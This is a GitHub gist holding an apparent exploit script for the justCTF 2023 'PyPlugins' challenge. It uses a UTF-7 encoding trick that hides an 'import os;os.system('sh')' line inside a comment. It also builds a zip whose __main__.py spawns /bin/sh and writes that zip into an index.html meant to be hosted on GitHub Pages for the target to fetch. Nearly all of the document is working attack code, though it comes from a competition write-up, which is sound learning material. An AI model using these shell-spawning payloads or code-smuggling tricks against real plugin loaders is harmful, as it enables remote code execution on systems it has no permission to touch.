Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active June 4, 2023 22:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lebr0nli/0837d0c3822c76586fa6582e891a1514 to your computer and use it in GitHub Desktop.
Save lebr0nli/0837d0c3822c76586fa6582e891a1514 to your computer and use it in GitHub Desktop.
justCTF 2023 - PyPlugins (misc + pwn)
# encoding: utf-7
# a+AAo-import os;os.system('sh')
# upload this file as index.html to your github pages
import tempfile
import zipfile
def create_zip_payload() -> bytes:
file_name = "__main__.py"
file_content = b'import os;os.system("/bin/sh")'
with tempfile.TemporaryFile(suffix=".zip") as f:
with zipfile.ZipFile(f, "w") as z:
z.writestr(file_name, file_content)
f.seek(0)
return f.read()
def main() -> None:
print(create_zip_payload())
with open("index.html", "w") as f:
f.write(f"pwn={create_zip_payload()!r}")
if __name__ == "__main__":
main()
# then upload the index.html file to your github pages
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment